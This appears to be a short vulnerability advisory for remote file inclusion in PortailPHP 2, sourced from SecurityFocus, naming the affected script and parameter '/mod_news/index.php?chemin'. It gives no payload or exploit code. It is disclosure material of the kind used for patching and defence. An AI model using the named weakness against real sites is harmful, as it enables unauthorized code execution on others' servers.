PortailPHP 2 - '/mod_news/index.php?chemin' Remote File Inclusion

source: https://www.securityfocus.com/bid/22381/info
  
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PortailPHP 2 is vulnerable to these issues; other versions may also be affected.
